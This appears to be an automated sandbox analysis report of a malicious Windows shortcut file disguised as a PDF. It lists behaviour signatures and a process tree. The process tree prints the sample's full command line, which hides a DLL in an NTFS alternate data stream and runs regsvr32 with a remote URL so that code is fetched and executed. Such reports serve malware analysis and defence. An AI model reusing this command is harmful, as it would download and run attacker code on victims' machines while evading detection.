Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260129-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/04/2026, 05:58

General

  • Target
    254186535_PDF.lNk.lnk
  • Size 1KB
  • Sample260409-gpcsaaax2r
  • SHA256 d328933d97c084026ac13c6efea830feb5bfdc8ece251893a7e23b63d0c89d95
  • MD5 SHA1 SHA512 TLSH
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NTFS ADS 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\254186535_PDF.lNk.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4348
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /IILJH:FYV1Y /IWXJ:WUBC /D/C "type scroBJ.dll > C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4 && for %J in (vr3) do for %M in (reg) do start %MS%J2 /s /u /i:htTpS://proronsar.webtreinerbr.autos/?1/_x C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4"
      2⤵
      • NTFS ADS
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\SyStem32\regsvr32.exe
        regSvr32 /s /u /i:htTpS://proronsar.webtreinerbr.autos/?1/_x C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4
        3⤵
        • Loads dropped DLL
        PID:3184

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        pqN4.jpg:wHY4

        • Path C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4
        • Size 223KB
        • SHA256 164ea0913ef910084147cab550c12b8f12c710a3f1badf4a26c6691517a031c4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3184-12-0x0000000002DC0000-0x0000000002DCC000-memory.dmp

        memory/4348-3-0x000002A63CE90000-0x000002A63CE9C000-memory.dmp